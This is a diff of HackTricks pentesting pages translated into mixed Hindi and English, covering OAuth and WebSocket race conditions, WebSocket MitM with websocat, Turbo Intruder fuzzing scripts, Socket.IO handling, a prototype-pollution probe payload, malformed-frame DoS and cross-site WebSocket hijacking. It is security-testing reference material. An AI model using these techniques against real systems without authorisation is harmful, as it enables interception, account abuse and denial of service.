कई [**OAUth प्रदाता**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) हैं। ये सेवाएँ आपको एक एप्लिकेशन बनाने और उन उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी जिन्हें प्रदाता ने पंजीकृत किया है। ऐसा करने के लिए, **क्लाइंट** को **आपके एप्लिकेशन** को **OAUth प्रदाता** के अंदर उनके कुछ डेटा तक पहुँचने की **अनुमति** देनी होगी।\
|
||||
तो, यहाँ तक कि यह एक सामान्य लॉगिन है जैसे google/linkedin/github... जहाँ आपको एक पृष्ठ पर संकेत दिया जाता है: "_एप्लिकेशन \<InsertCoolName> आपकी जानकारी तक पहुँचने की इच्छा रखता है, क्या आप इसे अनुमति देना चाहते हैं?_"
|
||||
कई [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) मौजूद हैं। ये सेवाएँ आपको एक application बनाने और उन users को authenticate करने की अनुमति देती हैं जिन्हें provider ने रजिस्टर किया है।
|
||||
ऐसा करने के लिए **client** को **permit your application** करके **OAUth provider** के अंदर उनके कुछ डेटा तक पहुँच की अनुमति देनी होगी।\
|
||||
तो, अब तक यह बस google/linkedin/github... के साथ एक सामान्य लॉगिन है, जहाँ आपको एक पेज दिखता है जिस पर लिखा होता है: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
|
||||
#### `authorization_code` में रेस कंडीशन
|
||||
#### Race Condition in `authorization_code`
|
||||
|
||||
**समस्या** तब उत्पन्न होती है जब आप **इसे स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए **`authorization_code`** से एक से अधिक AT/RT (_Authentication Token/Refresh Token_) उत्पन्न कर सके। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति दी है ताकि **कई खाते बनाए जा सकें**। फिर, यदि आप **एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति देना बंद कर देते हैं, तो एक जोड़ी AT/RT हटा दी जाएगी, लेकिन अन्य अभी भी मान्य रहेंगी**।
|
||||
समस्या तब उभरती है जब आप इसे **accept it** करते हैं और यह स्वचालित रूप से एक **`authorization_code`** malicious application को भेज देता है। फिर यह **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) आपके account के लिए **`authorization_code`** से। मूलतः, यह इस तथ्य का दुरुपयोग करता है कि आपने application को आपके डेटा तक पहुँच देने की अनुमति दी है ताकि यह **create several accounts** कर सके। यदि आप बाद में application को आपके डेटा तक पहुँच देना बंद कर देते हैं तो एक जोड़ी AT/RT हटाई जा सकती है, लेकिन अन्य जोड़ीयाँ अभी भी valid रहेंगी।
|
||||
|
||||
#### `Refresh Token` में रेस कंडीशन
|
||||
#### Race Condition in `Refresh Token`
|
||||
|
||||
एक बार जब आप **एक मान्य RT प्राप्त कर लेते हैं** तो आप **कई AT/RT उत्पन्न करने के लिए इसका दुरुपयोग करने की कोशिश कर सकते हैं** और **यहां तक कि यदि उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन के लिए अपनी डेटा तक पहुँचने की अनुमतियाँ रद्द कर देता है, तो भी **कई RTs मान्य रहेंगी।**
|
||||
एक बार जब आप एक valid RT प्राप्त कर लेते हैं, तो आप इसे abuse करके कई AT/RT जनरेट करने की कोशिश कर सकते हैं और यहाँ तक कि यदि user malicious application के permissions रद्द कर दे, तब भी कई RTs valid बने रह सकते हैं।
|
||||
|
||||
## **RC वेब सॉकेट्स में**
|
||||
## **RC in WebSockets**
|
||||
|
||||
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप एक PoC पा सकते हैं जो Java में वेब सॉकेट संदेशों को **समानांतर** में भेजने के लिए **रेस कंडीशंस का दुरुपयोग** करता है।
|
||||
- [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप Java में एक PoC पा सकते हैं जो websocket messages को parallel में भेजकर Web Sockets में भी Race Conditions का दुरुपयोग करता है।
|
||||
- Burp’s WebSocket Turbo Intruder के साथ आप **THREADED** engine का उपयोग करके multiple WS connections spawn कर सकते हैं और payloads parallel में भेज सकते हैं। आधिकारिक उदाहरण से शुरू करें और concurrency के लिए `config()` (thread count) को tune करें; जब server‑side state को WS handlers के पार race करना हो तो यह अक्सर एक single connection पर batching से अधिक reliable होता है। देखें [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||||
@ -380,5 +382,8 @@ session['enforce_mfa'] = True
|
||||
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||||
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## What are WebSockets
|
||||
## WebSockets क्या हैं
|
||||
|
||||
WebSocket कनेक्शन एक प्रारंभिक **HTTP** हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें **दीर्घकालिक** होने के लिए डिज़ाइन किया गया है, जो किसी भी समय द्विदिशीय संदेश भेजने की अनुमति देता है बिना लेन-देन प्रणाली की आवश्यकता के। यह WebSockets को उन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनाता है जो **कम विलंबता या सर्वर-प्रारंभित संचार** की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।
|
||||
WebSocket कनेक्शंस एक प्रारंभिक **HTTP** हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें **लंबी अवधि वाले** उपयोग के लिए डिज़ाइन किया गया है, जो किसी लेनदेन-आधारित सिस्टम की आवश्यकता के बिना किसी भी समय द्विदिश मैसेजिंग की अनुमति देता है। इससे WebSockets उन एप्लिकेशनों के लिए विशेष रूप से उपयोगी होते हैं जिन्हें **कम विलम्बता या सर्वर-प्रेरित संचार** की आवश्यकता होती है, जैसे लाइव फाइनेंशियल डेटा स्ट्रीम्स।
|
||||
|
||||
### Establishment of WebSocket Connections
|
||||
### WebSocket कनेक्शन की स्थापना
|
||||
|
||||
WebSocket कनेक्शन स्थापित करने पर विस्तृत विवरण [**यहां**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) पहुंचा जा सकता है। संक्षेप में, WebSocket कनेक्शन आमतौर पर क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से आरंभ किए जाते हैं जैसा कि नीचे दिखाया गया है:
|
||||
WebSocket कनेक्शन स्थापित करने पर एक विस्तृत व्याख्या [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) पर उपलब्ध है। सारांश में, WebSocket कनेक्शन आमतौर पर client-side JavaScript के माध्यम से आरंभ किए जाते हैं, जैसा कि नीचे दिखाया गया है:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
`wss` प्रोटोकॉल एक WebSocket कनेक्शन को **TLS** के साथ सुरक्षित करता है, जबकि `ws` एक **असुरक्षित** कनेक्शन को दर्शाता है।
|
||||
The `wss` प्रोटोकॉल एक WebSocket कनेक्शन को दर्शाता है जो **TLS** के साथ सुरक्षित है, जबकि `ws` एक **unsecured** कनेक्शन को दर्शाता है।
|
||||
|
||||
कनेक्शन स्थापित करते समय, HTTP के माध्यम से ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र एक अनुरोध भेजता है और सर्वर प्रतिक्रिया करता है, जैसा कि निम्नलिखित उदाहरणों में दर्शाया गया है:
|
||||
कनेक्शन स्थापित करने के दौरान, browser और server के बीच HTTP पर एक handshake किया जाता है। Handshake प्रक्रिया में browser अनुरोध भेजता है और server जवाब देता है, जैसा कि निम्न उदाहरणों में दिखाया गया है:
|
||||
|
||||
ब्राउज़र एक हैंडशेक अनुरोध भेजता है:
|
||||
Browser एक handshake अनुरोध भेजता है:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -26,88 +26,205 @@ Connection: keep-alive, Upgrade
|
||||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||
Upgrade: websocket
|
||||
```
|
||||
सर्वर का हैंडशेक प्रतिक्रिया:
|
||||
Server का handshake response:
|
||||
```javascript
|
||||
HTTP/1.1 101 Switching Protocols
|
||||
Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
कनेक्शन स्थापित होने के बाद संदेशों के आदान-प्रदान के लिए दोनों दिशाओं में खुला रहता है।
|
||||
कनेक्शन एक बार स्थापित हो जाने के बाद दोनों दिशाओं में संदेशों के आदान-प्रदान के लिए खुला रहता है।
|
||||
|
||||
**WebSocket हैंडशेक के मुख्य बिंदु:**
|
||||
**WebSocket Handshake के प्रमुख बिंदु:**
|
||||
|
||||
- `Connection` और `Upgrade` हेडर WebSocket हैंडशेक की शुरुआत का संकेत देते हैं।
|
||||
- `Sec-WebSocket-Version` हेडर वांछित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, जो आमतौर पर `13` होता है।
|
||||
- `Sec-WebSocket-Key` हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, यह सुनिश्चित करते हुए कि प्रत्येक हैंडशेक अद्वितीय है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है, बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं की गई है।
|
||||
- सर्वर की प्रतिक्रिया में `Sec-WebSocket-Accept` हेडर `Sec-WebSocket-Key` का एक हैश है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।
|
||||
- `Connection` और `Upgrade` हेडर WebSocket handshake की शुरुआत का संकेत देते हैं।
|
||||
- `Sec-WebSocket-Version` हेडर इच्छित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, सामान्यतः `13`।
|
||||
- Base64-encoded यादृच्छिक मान `Sec-WebSocket-Key` हेडर में भेजा जाता है, जिससे हर handshake अनूठा होता है और caching proxies से संबंधित समस्याओं को रोकने में मदद मिलती है। यह मान authentication के लिए नहीं होता; यह पुष्टि करने के लिए है कि response किसी misconfigured server या cache द्वारा जनरेट नहीं किया गया है।
|
||||
- सर्वर के response में `Sec-WebSocket-Accept` हेडर `Sec-WebSocket-Key` का एक hash होता है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।
|
||||
|
||||
ये विशेषताएँ सुनिश्चित करती हैं कि हैंडशेक प्रक्रिया सुरक्षित और विश्वसनीय है, जो कुशल वास्तविक समय संचार के लिए मार्ग प्रशस्त करती है।
|
||||
ये विशेषताएँ handshake प्रक्रिया को सुरक्षित और विश्वसनीय बनाती हैं, जिससे प्रभावी रीयल-टाइम संचार संभव होता है।
|
||||
|
||||
### Linux कंसोल
|
||||
|
||||
आप `websocat` का उपयोग करके websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं।
|
||||
आप `websocat` का उपयोग WebSocket के साथ एक raw connection स्थापित करने के लिए कर सकते हैं।
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
या एक websocat सर्वर बनाने के लिए:
|
||||
या websocat सर्वर बनाने के लिए:
|
||||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### MitM websocket connections
|
||||
### MitM websocket कनेक्शन
|
||||
|
||||
यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से **HTTP websocket** से जुड़े हुए हैं, तो आप [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला किया जा सके।\
|
||||
एक बार जब क्लाइंट आपसे कनेक्ट करने की कोशिश कर रहा हो, तो आप इसका उपयोग कर सकते हैं:
|
||||
यदि आप पाते हैं कि आपके वर्तमान लोकल नेटवर्क से क्लाइंट्स किसी **HTTP websocket** से जुड़े हुए हैं तो आप [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) का प्रयोग करके client और server के बीच MitM attack कर सकते हैं.\
|
||||
जब client आपसे कनेक्ट करने की कोशिश करेगा, तब आप निम्न का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Websockets enumeration
|
||||
### Websockets सूचीकरण
|
||||
|
||||
आप **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **का उपयोग करके websockets में ज्ञात** **vulnerabilities** **को स्वचालित रूप से खोजने, फिंगरप्रिंट करने और खोजने के लिए कर सकते हैं।**
|
||||
You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.
|
||||
|
||||
### Websocket Debug tools
|
||||
|
||||
- **Burp Suite** MitM websockets संचार का समर्थन करता है जिस तरह से यह नियमित HTTP संचार के लिए करता है।
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite एक्सटेंशन** आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, **history** प्राप्त करके, **interception rules** सेट करके, **match and replace** नियमों का उपयोग करके, **Intruder** और **AutoRepeater** का उपयोग करके।
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" के लिए संक्षिप्त, यह उपकरण, जो Node.js में लिखा गया है, **कैप्चर, इंटरसेप्ट, कस्टम** संदेश भेजने और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO संचार को देखने के लिए एक उपयोगकर्ता इंटरफ़ेस प्रदान करता है।
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **इंटरएक्टिव websocket REPL** है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह **incoming websocket messages** को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को **automating** करने के लिए एक उपयोग में आसान ढांचा है।
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** है।
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** प्रदान करता है।
|
||||
- **Burp Suite** नियमित HTTP संचार की तरह ही Websocket संचार में MitM का समर्थन करता है।
|
||||
- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** आपको Burp में Websocket संचार बेहतर तरीके से प्रबंधित करने की अनुमति देगा — जैसे कि **history** प्राप्त करना, **interception rules** सेट करना, **match and replace** नियमों का उपयोग करना, और **Intruder** व **AutoRepeater** का उपयोग करना।
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", यह tool, Node.js में लिखा गया, एक user interface प्रदान करता है ताकि आप **capture, intercept, send custom** messages कर सकें और client तथा server के बीच सभी WebSocket और Socket.IO संचार देख सकें।
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **interactive websocket REPL** है जो खासकर penetration testing के लिए डिज़ाइन किया गया है। यह एक इंटरफ़ेस प्रदान करता है जिससे आप **incoming websocket messages and sending new ones** को देख सकते हैं, और इस संचार को **automating** करने के लिए एक आसान फ्रेमवर्क देता है।
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) यह एक **web to communicate** है जो **websockets** का उपयोग करके अन्य वेब्स के साथ संचार करने के लिए है।
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के communications/protocols के साथ-साथ, यह **web to communicate** प्रदान करता है जिससे अन्य वेब्स के साथ **websockets** का उपयोग करके संचार किया जा सकता है।
|
||||
|
||||
## Decrypting Websocket
|
||||
## Websocket डिक्रिप्ट करना
|
||||
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) में आपके पास websockets का उपयोग करके एक वेब लॉन्च करने के लिए कोड है और [**इस पोस्ट**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) में आप एक व्याख्या पा सकते हैं।
|
||||
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) में आपको websockets का उपयोग करते हुए एक वेब लॉन्च करने का कोड मिलता है और in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) आप एक व्याख्या पा सकते हैं।
|
||||
|
||||
## Websocket Fuzzing
|
||||
|
||||
Burp एक्सटेंशन [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) अब WebSocket संदेशों को भी फज़ करने की अनुमति देता है। आप इसके बारे में अधिक जानकारी [**यहां**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) पढ़ सकते हैं।
|
||||
The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) अब WebSocket messages को भी fuzz करने की अनुमति देता है। आप इसके बारे में और जानकारी इस [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) पढ़ सकते हैं।
|
||||
|
||||
### WebSocket Turbo Intruder (Burp extension)
|
||||
|
||||
PortSwigger's WebSocket Turbo Intruder Turbo Intruder–style Python scripting और high‑rate fuzzing को WebSockets पर लाता है। इसे BApp Store से या source से इंस्टॉल करें। इसमें दो घटक शामिल हैं:
|
||||
|
||||
- Turbo Intruder: custom engines का उपयोग कर एकल WS endpoint पर high‑volume messaging।
|
||||
- HTTP Middleware: एक local HTTP endpoint expose करता है जो bodies को persistent connection पर WS messages के रूप में आगे भेजता है, इसलिए कोई भी HTTP‑based scanner WS backends को probe कर सकता है।
|
||||
|
||||
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
|
||||
```python
|
||||
def queue_websockets(upgrade_request, message):
|
||||
connection = websocket_connection.create(upgrade_request)
|
||||
for i in range(10):
|
||||
connection.queue(message, str(i))
|
||||
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@MatchRegex(r'{\"user\":\"Hal Pline\"')
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
एक संदेश कई प्रतिक्रियाएँ ट्रिगर करे तो शोर कम करने के लिए `@MatchRegex(...)` जैसे decorators का उपयोग करें।
|
||||
|
||||
### Bridge WS behind HTTP (HTTP Middleware)
|
||||
|
||||
एक स्थायी WS कनेक्शन को wrap करें और HTTP बॉडीज़ को WS messages के रूप में आगे भेजें, ताकि HTTP scanners के साथ automated testing की जा सके:
|
||||
```python
|
||||
def create_connection(upgrade_request):
|
||||
connection = websocket_connection.create(upgrade_request)
|
||||
return connection
|
||||
|
||||
@MatchRegex(r'{\"user\":\"You\"')
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
फिर स्थानीय रूप से HTTP भेजें; body WS संदेश के रूप में अग्रेषित किया जाता है:
|
||||
```http
|
||||
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
|
||||
Host: 127.0.0.1:9000
|
||||
Content-Length: 16
|
||||
|
||||
{"message":"hi"}
|
||||
```
|
||||
यह आपको WS backends को ड्राइव करने और “interesting” events (उदा., SQLi errors, auth bypass, command injection behavior) के लिए फ़िल्टर करने देता है।
|
||||
|
||||
### Socket.IO handling (handshake, heartbeats, events)
|
||||
|
||||
Socket.IO WS के ऊपर अपना framing जोड़ता है। इसे अनिवार्य query parameter `EIO` (उदा., `EIO=4`) के जरिए पहचानें। सत्र को Ping (`2`) और Pong (`3`) के साथ जीवित रखें और वार्तालाप की शुरुआत `"40"` से करें, फिर ऐसे इवेंट emit करें: `42["message","hello"]`.
|
||||
|
||||
Intruder उदाहरण:
|
||||
```python
|
||||
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||
|
||||
def queue_websockets(upgrade_request, message):
|
||||
connection = websocket_connection.create(
|
||||
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||
connection.queue('40')
|
||||
connection.queue('42["message","hello"]')
|
||||
|
||||
@Pong("3")
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@PingPong("2", "3")
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
HTTP एडाप्टर वेरिएंट:
|
||||
```python
|
||||
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||
|
||||
def create_connection(upgrade_request):
|
||||
connection = websocket_connection.create(
|
||||
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||
connection.queue('40')
|
||||
connection.decIn()
|
||||
return connection
|
||||
|
||||
@Pong("3")
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@PingPong("2", "3")
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
### Detecting server‑side prototype pollution via Socket.IO
|
||||
|
||||
PortSwigger’s safe detection technique का अनुसरण करते हुए, Express internals को pollute करने के लिए नीचे जैसा payload भेजें:
|
||||
```json
|
||||
{"__proto__":{"initialPacket":"Polluted"}}
|
||||
```
|
||||
यदि greetings या व्यवहार बदलता है (उदा., echo में "Polluted" शामिल है), तो संभवतः आपने server-side prototypes में prototype pollution किया है। प्रभाव पहुँच योग्य sinks पर निर्भर करता है; Node.js prototype pollution सेक्शन में मौजूद gadgets के साथ correlate करें। देखें:
|
||||
|
||||
- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
|
||||
|
||||
### WebSocket race conditions with Turbo Intruder
|
||||
|
||||
डिफ़ॉल्ट engine एक ही connection पर messages को batch करता है (उच्च throughput, लेकिन races के लिए खराब)। THREADED engine का उपयोग करें ताकि multiple WS connections spawn हों और payloads को parallel में भेजकर logic races (double‑spend, token reuse, state desync) ट्रिगर किए जा सकें। example script से शुरू करें और concurrency को `config()` में ट्यून करें।
|
||||
|
||||
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
|
||||
|
||||
### WebSocket DoS: malformed frame “Ping of Death”
|
||||
|
||||
ऐसे WS frames craft करें जिनका header बहुत बड़ी payload length declare करे पर body नहीं भेजें। कुछ WS servers length पर भरोसा करते हैं और buffers pre‑allocate कर लेते हैं; इसे `Integer.MAX_VALUE` के करीब सेट करने से Out‑Of‑Memory और remote unauth DoS हो सकता है। example script देखें।
|
||||
|
||||
### CLI and debugging
|
||||
|
||||
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
|
||||
- Enable the WS Logger to capture and correlate messages using internal IDs.
|
||||
- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
|
||||
- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
|
||||
|
||||
### Operational safety
|
||||
|
||||
High‑rate WS fuzzing कई connections खोल सकता है और प्रति सेकंड हजारों messages भेज सकता है। Malformed frames और high rates वास्तविक DoS पैदा कर सकते हैं। केवल वहीँ उपयोग करें जहाँ अनुमति हो।
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**, जिसे **cross-origin WebSocket hijacking** के रूप में भी जाना जाता है, को **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** के एक विशिष्ट मामले के रूप में पहचाना जाता है जो WebSocket हैंडशेक को प्रभावित करता है। यह सुरक्षा भेद्यता तब उत्पन्न होती है जब WebSocket हैंडशेक केवल **HTTP cookies** के माध्यम से प्रमाणित होते हैं बिना **CSRF tokens** या समान सुरक्षा उपायों के।
|
||||
**Cross-site WebSocket hijacking**, जिसे **cross-origin WebSocket hijacking** भी कहा जाता है, एक विशिष्ट प्रकार का **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** है जो WebSocket handshakes को प्रभावित करता है। यह कमजोरी तब उत्पन्न होती है जब WebSocket handshakes केवल **HTTP cookies** के माध्यम से authenticate करते हैं और कोई **CSRF tokens** या समान सुरक्षा उपाय नहीं होते।
|
||||
|
||||
हमलावर इसको एक **malicious web page** होस्ट करके शोषण कर सकते हैं जो एक कमजोर एप्लिकेशन के लिए क्रॉस-साइट WebSocket कनेक्शन शुरू करता है। परिणामस्वरूप, यह कनेक्शन एप्लिकेशन के साथ पीड़ित के सत्र का हिस्सा माना जाता है, जो सत्र प्रबंधन तंत्र में CSRF सुरक्षा की कमी का लाभ उठाता है।
|
||||
Attackers इसे तब exploit कर सकते हैं जब वे एक **malicious web page** होस्ट करते हैं जो vulnerable application के खिलाफ एक cross-site WebSocket connection शुरू करता है। परिणामस्वरूप, यह connection victim के application session का हिस्सा माना जाता है, क्योंकि session handling में CSRF सुरक्षा की कमी का फायदा उठाया जा रहा होता है।
|
||||
|
||||
इस हमले के सफल होने के लिए, ये आवश्यकताएँ हैं:
|
||||
इस attack के काम करने के लिए आवश्यकताएँ:
|
||||
|
||||
- Websocket **authentication को cookie आधारित होना चाहिए**
|
||||
- कुकी को हमलावर के सर्वर से सुलभ होना चाहिए (इसका मतलब आमतौर पर **`SameSite=None`** है) और Firefox में **Firefox Total Cookie Protection** सक्षम नहीं होना चाहिए और Chrome में **blocked third-party cookies** नहीं होनी चाहिए।
|
||||
- Websocket सर्वर को कनेक्शन के मूल की जांच नहीं करनी चाहिए (या इसे बायपास किया जा सकता है)
|
||||
- The websocket **authentication must be cookie based**
|
||||
- The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
|
||||
- The websocket server must not check the origin of the connection (or this must be bypasseable)
|
||||
|
||||
इसके अलावा:
|
||||
Also:
|
||||
|
||||
- यदि प्रमाणीकरण एक स्थानीय कनेक्शन (localhost या स्थानीय नेटवर्क के लिए) पर आधारित है तो हमला **संभव होगा** क्योंकि वर्तमान में कोई सुरक्षा इसे रोकती नहीं है (चेक करें [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||
- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||
|
||||
### Simple Attack
|
||||
|
||||
ध्यान दें कि जब **websocket** कनेक्शन **स्थापित** किया जा रहा है तो **cookie** **सर्वर** को **भेजी** जाती है। **सर्वर** इसे **विशिष्ट** **उपयोगकर्ता** को उसके **websocket** **सत्र** से संबंधित करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है।
|
||||
ध्यान दें कि जब **establishing** एक **websocket** connection की जाती है तो **cookie** server को **sent** की जाती है। **Server** इसका उपयोग कर सकता है ताकि भेजी गई **cookie** के आधार पर हर **specific** **user** को उसके **websocket** **session** से relate किया जा सके।
|
||||
|
||||
